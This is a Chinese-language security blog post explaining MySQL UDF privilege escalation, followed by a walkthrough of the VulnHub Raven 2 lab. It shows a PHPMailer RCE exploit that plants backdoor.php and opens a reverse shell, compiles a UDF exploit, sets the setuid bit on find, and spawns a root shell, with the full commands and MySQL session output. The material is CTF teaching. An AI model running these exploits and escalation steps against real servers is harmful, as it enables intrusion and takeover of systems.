UDF+PHPmailer 远程代码执行

admin 2022年4月3日15:06:06评论49 views字数 7317阅读24分23秒阅读模式

0x00 什么是UDF

UDF 全称为:User Defined Function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。

udf 文件后缀一般为 dll,由C、C++编写。

0x01 UDF在渗透中的作用

在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在MySQL数据库,那么udf可能就派上用场了;由于Windows安装的MySQL进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们也就拥有了执行管理员命令的权限,这时新建管理员用户等操作也就轻而易举了,大多数人称为这一操作为udf提权,其实表达不够准确,应该称为通过MySQL获得管理员权限。

0x02 利用条件

利用udf的条件其实还是挺苛刻的

MySQL用户权限问题

  • 获得一个数据库账号,拥有对MySQL的insert和delete权限,以root为佳。

  • 拥有将udf.dll写入相应目录的权限。

使用的函数:

sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

0x03 数据库版本问题

udf利用的其中一步,是要将我们的xxx.dll文件上传到MySQL检索目录中,MySQL各版本的检索目录有所不同:

版本

路径

MySQL < 5.0

导出路径随意;

5.0 <= MySQL< 5.1

需要导出至目标服务器的系统目录(如:c:/windows/system32/)

5.1 < MySQL

必须导出到MySQL安装目录下的libplugin文件夹下

一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)

创建方法:

select @@basedir;  //查找到mysql的目录 select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';    //利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_AL


0x04 VulnHub-Raven: 2 靶场渗透测试

靶场信息:
地址:https://www.vulnhub.com/entry/raven-2,269/
发布日期:2018年11月9日
目标:得到root权限并且找到4个flag
难度:中级
运行:VMware Workstation Pro
描述:Raven 2 is an intermediate level boot2root VM. There are four flags to capture. After multiple breaches, Raven Security has taken extra steps to harden their web server to prevent hackers from getting in. Can you still breach Raven?

4.1、信息搜集

使用nmap获取目标ip地址为192.168.75.144

nmap -sP 192.168.75.0/24
sP:用ping扫描判断主机是否存活,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping

UDF+PHPmailer 远程代码执行

扫描开启的端口和服务

nmap -sS -sV -T5 -A -p- 192.168.75.144
sS:参数-sS表示使用TCP SYN方式扫描TCP端口sV:指定让Nmap进行版本侦测T5:指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T4

UDF+PHPmailer 远程代码执行

获得四个端口信息

PORT

STATE

SERVICE

VERSION

22/tcp

open

ssh

OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)

80/tcp

open

http

Apache httpd 2.4.10 ((Debian))

111/tcp

open

rpcbind

2-4 (RPC #100000)

39855/tcp

open

status

1 (RPC #100024)

4.2、网站信息搜集与漏洞利用

  1. 访问ip

UDF+PHPmailer 远程代码执行

  1. 点击BLOG的时候跳转到了WordPress的一个站点,在搜索框测试,url由我们输入的ip地址变成了raven.local

UDF+PHPmailer 远程代码执行

UDF+PHPmailer 远程代码执行

  1. 扫描一下http://raven.local/目录

    这里用到Kali Linux下DIRB工具

    DIRB是一个Web内容扫描程序。它查找现有的(和/或隐藏的)Web对象。它基本上是通过对Web服务器发起基于字典的攻击并分析响应来工作的。

    什么是DIRB

    DIRB是一个Web内容扫描程序。它查找现有的(和/或隐藏的)Web对象。它基本上是通过对Web服务器发起基于字典的攻击并分析响应来工作的。

UDF+PHPmailer 远程代码执行

  1. 添加hosts文件项

    具体做法如下,中间使用tab

vim /etc/hosts

UDF+PHPmailer 远程代码执行

  1. 现在扫描目录就正常了(直接扫IP也可 dirb http://192.168.75.144)

UDF+PHPmailer 远程代码执行

  1. 扫描结果主要分为三个Web信息目录

  • http://raven.local/vendor/

  • http://raven.local/wordpress/

  • http://raven.local/manual/

  1. 继续使用dirb扫描目录

dirb http://raven.local/wordpress/

UDF+PHPmailer 远程代码执行

  1. 找到flag3

UDF+PHPmailer 远程代码执行

  1. http://192.168.75.144/wordpress/wp-content/uploads/2018/11/flag3.png

UDF+PHPmailer 远程代码执行

  1. http://raven.local/vendor/ 存在任意文件遍历,并且在 PATH 目录下隐藏了一个flag

    还得知整个网站搭建在 /var/www/html/ 目录下

UDF+PHPmailer 远程代码执行

  1. 并且发现了 PHPMailerAutoload.php 这个显眼的php文件,直接让人想到PHPMailer命令执行漏洞

UDF+PHPmailer 远程代码执行

  1. 在Kali中搜索相关漏洞searchsploit phpmailer

UDF+PHPmailer 远程代码执行

  1. 把相关脚本拷贝到当前目录:

cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./

UDF+PHPmailer 远程代码执行

  1. 并且修改相关参数,target目标ip,要接收到的攻击者的ip,端口,路径:

UDF+PHPmailer 远程代码执行

  1. 保存exp的py程序,exp成功执行,访问后门文件 backdoor.php ,并设置端口监听:

UDF+PHPmailer 远程代码执行

UDF+PHPmailer 远程代码执行

  1. 使用python获得完整性shell

python -c 'import pty; pty.spawn("/bin/bash")'

UDF+PHPmailer 远程代码执行

  1. 在/var/www/目录找到flag2.txt

UDF+PHPmailer 远程代码执行

  1. 没有在网上找到可以利用的内核提权脚本,这里继续进行信息搜集

    在/var/www/html/wordpress/wp-config.php中发现mysql数据库密码

UDF+PHPmailer 远程代码执行

root:R@v3nSecurity
  1. netstat -a 查看所有socket链接状况:

UDF+PHPmailer 远程代码执行

  1. 发现mysql服务启动

    ps aus | grep root 显示有root字符串的进程和其状态,换句话说就是查找出以root权限运行的服务

UDF+PHPmailer 远程代码执行

  1. 尝试mysql的udf提权

    找exp编号,并在Kali上搜索:

searchsploit 1518

UDF+PHPmailer 远程代码执行

  1. 具体怎么用,还需要看exp的说明 https://www.exploit-db.com/exploits/1518

UDF+PHPmailer 远程代码执行

  1. 先将exp 1518.c 在本地linux上编译完成后,再上传到靶机,这样能避免好多问题:

UDF+PHPmailer 远程代码执行

gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
-g 生成调试信息
-shared 创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件
-Wl选项告诉编译器将后面的参数传递给链接器。
-soname则指定了动态库的soname(简单共享名,Short for shared object name)soname的关键功能是它提供了兼容性的标准:
当要升级系统中的一个库时,并且新库的soname和老库的soname一样,用旧库链接生成的程序使用新库依然能正常运行。这个特性使得在Linux下,升级使得共享库的程序和定位错误变得十分容易。-o 生成的文件-lc,-l 库 ,c库名
  1. 下载动态链接库到靶机

    使用python搭建http服务,使用shell下载到靶机

python3 -m http.server 8888

UDF+PHPmailer 远程代码执行

  1. 上传成功后,在靶机上链接MySQL数据库并操作:

www-data@Raven:/var/www/html$ mysql -u root -pmysql -u root -pEnter password: R@v3nSecurity Welcome to the MySQL monitor.  Commands end with ; or g.Your MySQL connection id is 78Server version: 5.5.60-0+deb8u1 (Debian) Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners. Type 'help;' or 'h' for help. Type 'c' to clear the current input statement. mysql> show databases;show databases;+--------------------+| Database           |+--------------------+| information_schema || mysql              || performance_schema || wordpress          |+--------------------+4 rows in set (0.10 sec) mysql> use wordpress;use wordpress;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -A Database changedmysql> create table foo(line blob);           create table foo(line blob);Query OK, 0 rows affected (0.15 sec) mysql> insert into foo values(load_file('/var/www/html/1518.so'));     insert into foo values(load_file('/var/www/html/1518.so'));Query OK, 1 row affected (0.09 sec)                                                          mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';Query OK, 1 row affected (0.00 sec) mysql> create function do_system returns integer soname '1518.so';      create function do_system returns integer soname '1518.so';Query OK, 0 rows affected (0.03 sec) mysql> select * from mysql.func;select * from mysql.func;+-----------+-----+---------+----------+| name      | ret | dl      | type     |+-----------+-----+---------+----------+| do_system |   2 | 1518.so | function |+-----------+-----+---------+----------+1 row in set (0.00 sec) mysql> select do_system('chmod u+s /usr/bin/find');                       select do_system('chmod u+s /usr/bin/find');+--------------------------------------+| do_system('chmod u+s /usr/bin/find') |+--------------------------------------+|                                    0 |+--------------------------------------+1 row in set (0.10 sec) mysql> mysql> quitquitBye www-data@Raven:/var/www/html$ touch footouch foowww-data@Raven:/var/www/html$ find foo -exec 'whoami' ;find foo -exec 'whoami' ;rootwww-data@Raven:/var/www/html$ find foo -exec 'id' ;find foo -exec 'id' ;uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)www-data@Raven:/var/www/html$ find foo -exec '/bin/sh' ;find foo -exec '/bin/sh' ;## whoamiwhoamiroot## ididuid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)# cd /rootcd /root# lslsflag4.txt# cat flag4.txtcat flag4.txt  ___                   ___ ___ | _ __ ___ _____ _ _ |_ _|_ _| |   / _`  V / -_) '  | | | | |_|___,_|_/___|_||_|___|___|                            flag4{df2bc5e951d91581467bb9a2a8ff4425} CONGRATULATIONS on successfully rooting RavenII I hope you enjoyed this second interation of the Raven VM Hit me up on Twitter and let me know what you thought: @mccannwj / wjmccann.github.io#

UDF+PHPmailer 远程代码执行

除了 do_system 外还可以使用其他函数:

sys_eval,执行任意命令,并将输出返回。sys_exec,执行任意命令,并将退出码返回。sys_get,获取一个环境变量。sys_set,创建或修改一个环境变量。
  1. 攻击过程中,如果是linux系统,需要将lib_mysqludf_sys.so上传到数据库能访问的路径下。lib_mysqludf_sys.so的导出路径:

MySQL<5.0,导出路径随意;5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)MySQL 5.1以上版本,必须要把 lib_mysqludf_sys.so 文件放到MySQL安装目录下的libplugin文件夹下才能创建自定义函数。(此处需要注意:动态库的放置位置为目标机器mysql插件路径,可用以下命令获取:show variables like "%plugin%";)
  1. 激活存储过程 do_system 函数:

create function do_system returns string soname 'lib_mysqludf_sys.so ';
  1. 进行到此已可用root身份执行命令,替换id即可

    如:select do_system('whoami'); 这将以root身份启动一个应用程序:

select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');

(chown raptor.raptor 应按实际用户身份更改)

而文中使用了:

select do_system('chmod u+s /usr/bin/find');

    就是给 find 命令加上 setuid 的标志,然后调用find的-exec指令来执行命令,具体参考:http://www.cnblogs.com/aaronax/p/5618024.html

chmod u+s temp — 为temp文件加上setuid标志. (setuid 只对文件有效)chmod g+s tempdir — 为tempdir目录加上setgid标志 (setgid 只对目录有效)chmod o+t temp — 为temp文件加上sticky标志 (sticky只对文件有效)


0x05 参考链接:

  • https://www.cnblogs.com/bmjoker/p/10034001.html

  • https://www.freebuf.com/articles/web/261047.html





UDF+PHPmailer 远程代码执行



UDF+PHPmailer 远程代码执行


免责声明

由于传播、利用本公众号NGC660安全实验室所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号NGC600安全实验室及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


原文始发于微信公众号(NGC660安全实验室):UDF+PHPmailer 远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月3日15:06:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   UDF+PHPmailer 远程代码执行http://cn-sec.com/archives/865713.html

发表评论

匿名网友 填写信息